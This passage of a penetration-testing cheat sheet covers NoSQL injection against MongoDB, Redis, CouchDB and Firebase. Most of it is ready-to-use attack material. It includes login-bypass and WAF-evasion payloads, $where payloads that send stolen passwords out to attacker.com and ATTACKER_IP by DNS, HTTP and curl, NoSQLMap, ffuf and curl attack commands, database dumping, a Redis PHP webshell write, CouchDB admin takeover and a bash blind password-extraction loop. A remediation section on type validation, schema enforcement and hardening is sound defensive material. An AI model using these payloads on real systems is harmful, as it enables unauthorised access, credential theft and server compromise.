?roles[]=admin&roles[]=superuser # → {"roles": ["admin", "superuser"]}
?id[0]=1&id[1]=2 # → {"id": [1, 2]}
15.2 Content-Type Switching
# App may process JSON differently from form data:
# Switch Content-Type to inject operators as JSON:
# Original request (form-encoded):
POST /login
Content-Type: application/x-www-form-urlencoded
username=admin&password=test
# Switch to JSON:
POST /login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "x"}}
# Some apps parse both but only sanitize one format:
# Try multipart/form-data too:
POST /login
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="username"
admin
----boundary
Content-Disposition: form-data; name="password[$ne]"
x
----boundary--
15.3 JSON Array & Nested Object Injection
# Inject arrays into fields expecting strings:
{"username": ["admin", "root"]} # $in behavior on some ORMs
{"username": {"$in": ["admin","root"]}} # explicit $in
# Nested object injection:
{"filter": {"username": {"$ne": null}}} # if filter object is passed to query
{"query": {"$where": "1==1"}} # $where inside nested query object
# Double injection — operators in multiple fields:
{
"username": {"$regex": "^admin"},
"password": {"$ne": "x"},
"active": {"$ne": false}
}
16. OOB Exfiltration & Blind Techniques
16.1 DNS Exfiltration via $where
// Exfiltrate data via DNS subdomain:
{
"$where": "function() {
var data = this.password;
var dns = data + '.COLLABORATOR.oastify.com';
// MongoDB JS environment may not have direct DNS, but can via:
try {
var x = new Mongo('dns-callback-' + encodeURIComponent(data) + '.attacker.com:27017');
} catch(e) {}
return true;
}"
}
// Via require('dns') if Node.js context:
{
"$where": "function() {
require('dns').lookup(this.password+'.attacker.com', function(){});
return true;
}"
}
16.2 HTTP Exfiltration via $where
// XMLHttpRequest in MongoDB JS (SpiderMonkey engine — limited):
{
"$where": "function() {
var x = new XMLHttpRequest();
x.open('GET', 'http://ATTACKER_IP/?d=' + encodeURIComponent(this.password), false);
x.send();
return true;
}"
}
// Via exec (if available in the JS environment):
{
"$where": "function() {
try {
var proc = Runtime.getRuntime().exec(['curl','http://ATTACKER_IP/?d='+this.password]);
} catch(e) {}
return true;
}"
}
16.3 Burp Collaborator / interactsh Setup
# Set up OOB listener:
# Burp Suite: Project → Collaborator → Copy to clipboard → YOUR_COLLABORATOR_HOST
# interactsh:
interactsh-client # generates INTERACTSH_HOST
./interactsh-client -s oast.pro
# Use in $where payload:
"http://"+this.password+".YOUR_COLLABORATOR_HOST"
# Monitor for DNS/HTTP interactions → reveals extracted value from subdomain
16.4 Error-Based Extraction
// Force a type error that reveals the value in the error message:
// If username must match a regex and error is shown:
{"username": {"$regex": this.password}} // rarely works but try
// $where with intentional error on condition:
{"$where": "function() { if(this.username=='admin') { throw this.password; } return false; }"}
// Error response may contain the password value
17. WAF Bypass Techniques
17.1 Case & Encoding Variations
# Case variation (MongoDB operators are case-sensitive — these won't work natively,
# but WAF pattern matching may be bypassed while app rejects unknown ops gracefully):
{"$NE": "x"} # won't work in MongoDB — but tests WAF pattern
{"$Ne": "x"} # same
# Use alternative operators with same effect:
{"$gt": ""} # instead of {"$ne": null}
{"$gte": ""} # alternative to $gt
{"$nin": ["x"]} # instead of $ne — not in array
# URL encoding in GET params:
?password%5B%24ne%5D=x # [ = %5B, $ = %24, ] = %5D
?password[%24ne]=x
17.2 Whitespace & JSON Formatting
# Add whitespace/newlines inside JSON:
{"username": "admin", "password": {"$ne": "x"}}
{
"username": "admin",
"password": {
"$ne": "x"
}
}
# Unicode whitespace:
{"username":"admin","password":{"\u0024ne":"x"}} # \u0024 = $
# Note: \u0024 in JSON strings decodes to $ — may bypass string-matching WAFs
17.3 Alternative Operator Construction
# Use $not + $eq instead of $ne:
{"password": {"$not": {"$eq": "x"}}} # equivalent to {"$ne": "x"}
# Use $in with wildcard-like effect:
{"username": {"$in": ["admin", "administrator", "root", "Admin"]}}
# Use $regex instead of $ne:
{"password": {"$regex": ".+"}} # equivalent — any non-empty string
# Use $exists instead of $ne null:
{"password": {"$exists": true}} # has a password field
17.4 Nested Object Bypass
# Some WAFs inspect top-level keys only:
{"filter": {"username": "admin", "password": {"$ne": "x"}}}
{"query": {"$ne": null}}
{"data": {"user": {"$regex": ".*"}}}
# Wrap in array:
[{"username": "admin"}, {"password": {"$ne": "x"}}]
# Some apps merge array of conditions
17.5 JavaScript Obfuscation ($where)
// Obfuscate JS inside $where to bypass WAF pattern matching:
// Use string operations to build "sleep"-equivalent:
{"$where": "function(){var a='sl';var b='eep';this[a+b](5000);return true;}"}
// Hex encode characters:
{"$where": "function(){return this.username=='\x61\x64\x6d\x69\x6e';}"}
// Use Function constructor:
{"$where": "new Function('return true')()"}
// Use eval with encoded string:
{"$where": "eval(atob('cmV0dXJuIHRydWU='))"} # base64("return true")
18. Automation — NoSQLMap & Other Tools
18.1 NoSQLMap
# Install:
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap && pip install -r requirements.txt
# Run:
python nosqlmap.py
# Interactive menu — select:
# 1. Set options (URL, parameter, HTTP method)
# 2. MongoDB attacks
# 3. Scan for unauthenticated MongoDB
# 4. Brute force login
# 5. Extract data
# CLI mode (newer versions):
python nosqlmap.py -u "http://target.com/login" \
--attack 2 \
--httpMethod POST \
--postData "username=admin&password=test"
18.2 Burp Suite — NoSQLi Testing
MANUAL WORKFLOW:
1. Intercept login/search request in Proxy
2. Send to Repeater (Ctrl+R)
3. Change Content-Type to application/json
4. Modify body to inject operators:
{"username":"admin","password":{"$ne":"x"}}
5. Observe response — auth bypass?
6. Send to Intruder for automated extraction:
{"username":"admin","password":{"$regex":"^§§"}}
Payload: character set a-z A-Z 0-9 special chars
Grep for success indicator
BURP EXTENSIONS:
- NoSQLi Scanner: auto-detects operator injection points
- Hackbar: quick payload injection in Repeater
- Autorize: test privilege escalation after auth bypass
18.3 ffuf — NoSQLi Parameter Fuzzing
# Fuzz parameter names for NoSQLi:
ffuf -u "http://target.com/api?FUZZ[\$ne]=x" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fr "error|invalid|false" \
-mc 200
# Fuzz operator values:
ffuf -u "http://target.com/api?username=admin&password=FUZZ" \
-w nosqli-operators.txt \
-mr "success|token|welcome"
# Create nosqli-operators.txt:
cat > nosqli-operators.txt << 'EOF'
{"$ne":"x"}
{"$gt":""}
{"$gte":""}
{"$regex":".*"}
{"$ne":null}
{"$exists":true}
{"$nin":["x"]}
{"$not":{"$eq":"x"}}
EOF
18.4 curl One-Liners
# Quick auth bypass test:
curl -s -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}' | jq .
# Test HPP:
curl -s -X POST http://target.com/login \
-d "username=admin&password[\$ne]=x"
# Enumerate users:
curl -s http://target.com/api/users?_id[\$ne]=null | jq .
# $where test:
curl -s -X POST http://target.com/api/find \
-H "Content-Type: application/json" \
-d '{"$where":"function(){return true;}"}' | jq .
# Blind timing test:
time curl -s -X POST http://target.com/api/find \
-H "Content-Type: application/json" \
-d '{"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"}'
18.5 mongosh — Direct DB Exploitation
# If MongoDB port (27017) is accessible without auth:
mongosh "mongodb://target.com:27017"
# List databases:
show dbs
# Use a database:
use myapp
# List collections:
show collections
# Dump users:
db.users.find({}).pretty()
# Find admin:
db.users.find({role: "admin"}).pretty()
db.users.find({isAdmin: true}).pretty()
# Dump all collections:
db.getCollectionNames().forEach(function(c) {
print("=== " + c + " ===");
db[c].find({}).forEach(printjson);
});
# Check MongoDB version and config:
db.adminCommand({buildInfo: 1})
db.adminCommand({getCmdLineOpts: 1})
19. Remediation
19.1 Type Validation — Primary Control
// Node.js / Express — validate input type before passing to MongoDB:
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// CRITICAL: Reject non-string input — blocks operator injection:
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
// Additional validation:
if (username.length > 100 || password.length > 256) {
return res.status(400).json({ error: 'Input too long' });
}
const user = await db.collection('users').findOne({ username, password });
// Now username and password are guaranteed strings — $ne, $gt etc. can't inject
});
# Python / PyMongo — type enforcement:
from bson import ObjectId
def safe_login(username, password):
# Enforce string types:
if not isinstance(username, str) or not isinstance(password, str):
raise ValueError("Invalid input type")
# Strip whitespace, enforce length:
username = username.strip()[:100]
password = password.strip()[:256]
return db.users.find_one({"username": username, "password": password})
<?php
// PHP — cast to string before MongoDB query:
$username = (string) $_POST['username'];
$password = (string) $_POST['password'];
// Reject arrays (HPP operator injection):
if (is_array($_POST['username']) || is_array($_POST['password'])) {
http_response_code(400);
die('Invalid input');
}
$collection->findOne(['username' => $username, 'password' => $password]);
?>
19.2 Disable $where and JavaScript Execution
# MongoDB — start with --noscripting to disable server-side JS:
mongod --noscripting
# Or in mongod.conf:
security:
javascriptEnabled: false
# Check if JS is disabled:
db.adminCommand({getCmdLineOpts: 1})
# Look for: "noscripting": true
19.3 Object Schema Validation
// Mongoose (Node.js ODM) — define strict schema to reject unexpected operators:
const userSchema = new mongoose.Schema({
username: { type: String, required: true, maxlength: 100 },
password: { type: String, required: true }
}, { strict: true }); // strict: true rejects fields not in schema
// Mongoose won't allow operator objects where String is expected:
// {"$ne": "x"} → cast error → query rejected
// JSON Schema validation (AJV):
const schema = {
type: 'object',
properties: {
username: { type: 'string', maxLength: 100 },
password: { type: 'string', maxLength: 256 }
},
required: ['username', 'password'],
additionalProperties: false
};
const validate = ajv.compile(schema);
if (!validate(req.body)) {
return res.status(400).json({ error: 'Invalid input' });
}
19.4 Parameterized Queries / ODM Usage
// Use Mongoose or validated ODM instead of raw MongoDB driver:
// SAFE — Mongoose casts to schema type, rejects operator objects:
const User = mongoose.model('User', userSchema);
const user = await User.findOne({ username: username, password: password });
// username and password are cast to String → operator injection blocked
// If using raw MongoDB driver — always cast:
const user = await db.collection('users').findOne({
username: String(username),
password: String(password)
});
19.5 Redis Security Hardening
# redis.conf — require password:
requirepass STRONGPASSWORD123!
# Bind to localhost only:
bind 127.0.0.1
# Disable dangerous commands:
rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command EVAL ""
# Enable protected mode:
protected-mode yes
# TLS (Redis 6+):
tls-port 6380
tls-cert-file /etc/ssl/redis.crt
tls-key-file /etc/ssl/redis.key
19.6 Firebase Security Rules
// Firebase Realtime DB — restrict to authenticated user's own data:
{
"rules": {
"users": {
"$uid": {
".read": "$uid === auth.uid",
".write": "$uid === auth.uid"
}
}
}
}
// Firestore — restrict reads to authenticated users' own documents:
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// Deny everything else:
match /{document=**} {
allow read, write: if false;
}
}
}
// NEVER use these rules in production:
// ".read": true → anyone can read ALL data
// ".write": true → anyone can write ALL data
// ".read": "auth != null" + self-registration → any user reads everything
19.7 Defense-in-Depth
PRIMARY CONTROLS:
├── Validate and enforce input types — reject non-string where string expected
├── Use ODM/ORM with schema enforcement (Mongoose, etc.)
├── Disable MongoDB server-side JavaScript (--noscripting)
└── Never concatenate user input into query objects
SECONDARY CONTROLS:
├── MongoDB: enable Role-Based Access Control (RBAC)
│ → mongod --auth
│ → Create least-privilege users per collection
├── MongoDB: never run as root; use dedicated mongod user
├── MongoDB: bind to localhost / private network only (never 0.0.0.0)
├── Redis: requirepass + bind 127.0.0.1 + rename dangerous commands
├── Firebase: explicit deny-all default rules; allow only what's needed
├── CouchDB: enable authentication (_config/admins); disable _utils in production
└── Input length limits — prevent oversized regex / $where payloads
DETECTION:
├── Log all queries with unusual operator keys ($ne, $where, $regex)
├── Alert on queries containing JS keywords in string fields (sleep, function)
├── Monitor for HTTP parameter arrays where scalars expected (?param[]=)
├── WAF rules: block $where, $regex, $ne, $gt in request bodies and params
├── Rate-limit authentication endpoints (brute force + blind extraction)
└── DAST scanning: NoSQLMap, Burp NoSQLi Scanner in CI/CD pipeline
20. Master Cheat Sheet
Attack Decision Tree
Found a login form / API endpoint using NoSQL?
│
├── Test operator injection via JSON body:
│ {"username":"admin","password":{"$ne":"x"}}
│ ├── Auth bypassed / response changes → NOSQLI CONFIRMED (MongoDB)
│ └── No change → try HPP
│
├── Test HTTP Parameter Pollution:
│ username=admin&password[$ne]=x (URL-encoded POST)
│ ?username=admin&password[$ne]=x (GET)
│ ├── Auth bypassed → NOSQLI via HPP
│ └── No change → try $where
│
├── Test JavaScript execution ($where):
│ {"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"}
│ ├── Response delayed 3+ seconds → JS EXECUTION CONFIRMED
│ │ └── Escalate: OOB, blind extraction, RCE
│ └── Error "$where is not allowed" → JS disabled (--noscripting)
│ └── Use $regex for blind extraction instead
│
├── NoSQLi confirmed — what's available?
│ ├── Output in response (in-band)?
│ │ ├── Inject {"$ne":null} → returns all docs (dump endpoint)
│ │ ├── Use {"$regex":".*"} to match all → enumerate users
│ │ └── Modify filter operators to access other records
│ │
│ ├── No direct output (blind)?
│ │ ├── Boolean-based: {"$regex":"^a"} vs {"$regex":"^b"} → char by char
│ │ ├── Time-based: $where with loop → confirm then extract
│ │ └── OOB: $where → XMLHttpRequest to Burp Collaborator
│ │
│ └── $where available?
│ ├── Time-based extraction: conditional sleep per character
│ ├── OOB: DNS/HTTP callback with data in subdomain
│ └── Attempt RCE: require('child_process') (Node.js contexts)
│
├── Redis exposed (port 6379)?
│ ├── redis-cli -h target ping → +PONG = UNAUTHENTICATED
│ ├── Dump keys: KEYS '*' → GET key_name
│ └── Write webshell: CONFIG SET dir + dbfilename + SET + BGSAVE
│
├── CouchDB exposed (port 5984)?
│ ├── curl target:5984/_all_dbs → lists databases
│ ├── curl target:5984/DB/_all_docs → dumps documents
│ └── Create admin: PUT /_config/admins/attacker → takeover
│
└── Firebase (firebaseio.com / appspot.com)?
├── curl https://PROJECT.firebaseio.com/.json → unauthenticated read?
└── curl PUT .json with data → unauthenticated write?
Quick Payload Reference
# ── MONGODB AUTH BYPASS (JSON) ──
{"username":"admin","password":{"$ne":"x"}} # not-equal bypass
{"username":"admin","password":{"$gt":""}} # greater-than bypass
{"username":"admin","password":{"$regex":".*"}} # regex bypass
{"username":{"$ne":null},"password":{"$ne":null}} # bypass both fields
{"$or":[{"username":"admin"},{"_id":{"$ne":null}}]} # OR tautology
# ── MONGODB AUTH BYPASS (HPP) ──
username=admin&password[$ne]=x
username=admin&password[$gt]=
username=admin&password[$regex]=.*
username[$ne]=x&password[$ne]=x
# ── MONGODB $where (JS) ──
{"$where":"1==1"} # tautology
{"$where":"function(){return true;}"} # function form
{"$where":"function(){var d=new Date();while(new Date()-d<3000){}return true;}"} # time-based
# ── BLIND $regex EXTRACTION ──
{"username":"admin","password":{"$regex":"^a"}} # starts with a?
{"username":"admin","password":{"$regex":"^ad"}} # starts with ad?
{"username":"admin","password":{"$regex":"^.{8}$"}} # exactly 8 chars?
# ── FIELD ENUMERATION ──
{"username":"admin","password":{"$exists":true}} # password field exists?
{"username":"admin","secret":{"$exists":true}} # secret field exists?
{"$where":"function(){return Object.keys(this).indexOf('apiKey')>=0;}"}
# ── TAUTOLOGY (return ALL docs) ──
{"_id":{"$ne":null}} # all documents
{"$where":"true"} # all via JS
# ── OOB ($where) ──
{"$where":"function(){var x=new XMLHttpRequest();x.open('GET','http://ATTACKER/?d='+this.password,false);x.send();return true;}"}
# ── REDIS (unauthenticated) ──
redis-cli -h TARGET KEYS '*'
redis-cli -h TARGET GET keyname
redis-cli -h TARGET CONFIG SET dir /var/www/html
redis-cli -h TARGET CONFIG SET dbfilename shell.php
redis-cli -h TARGET SET payload "<?php system(\$_GET['cmd']); ?>"
redis-cli -h TARGET BGSAVE
# ── FIREBASE ──
curl https://PROJECT.firebaseio.com/.json # dump root
curl https://PROJECT.firebaseio.com/users.json # dump users
# ── COUCHDB ──
curl http://TARGET:5984/_all_dbs # list dbs
curl http://TARGET:5984/DB/_all_docs # dump docs
curl -X PUT http://TARGET:5984/_config/admins/owned -d '"pwned"'
NoSQLMap Quick Reference
python nosqlmap.py -u "http://target.com/login" \
--attack 2 \
--httpMethod POST \
--postData "username=admin&password=test"
# Scan for unauthenticated MongoDB:
python nosqlmap.py --scanMongo
# Extract collection data:
python nosqlmap.py -u "http://target.com" --extractData
Blind Extraction One-Liner (Bash)
# Character-by-character password extraction via $regex:
KNOWN=""; TARGET="admin"; URL="http://target.com/login"
for i in $(seq 1 32); do
for c in {a..z} {A..Z} {0..9} '!' '@' '#' '$' '%' '^' '&' '*'; do
R=$(curl -s -X POST "$URL" -H "Content-Type: application/json" \
-d "{\"username\":\"$TARGET\",\"password\":{\"\$regex\":\"^${KNOWN}${c}\"}}")
if echo "$R" | grep -qiE "success|token|welcome|true"; then
KNOWN="${KNOWN}${c}"; echo "[+] $KNOWN"; break
fi
done
done
echo "[*] Password: $KNOWN"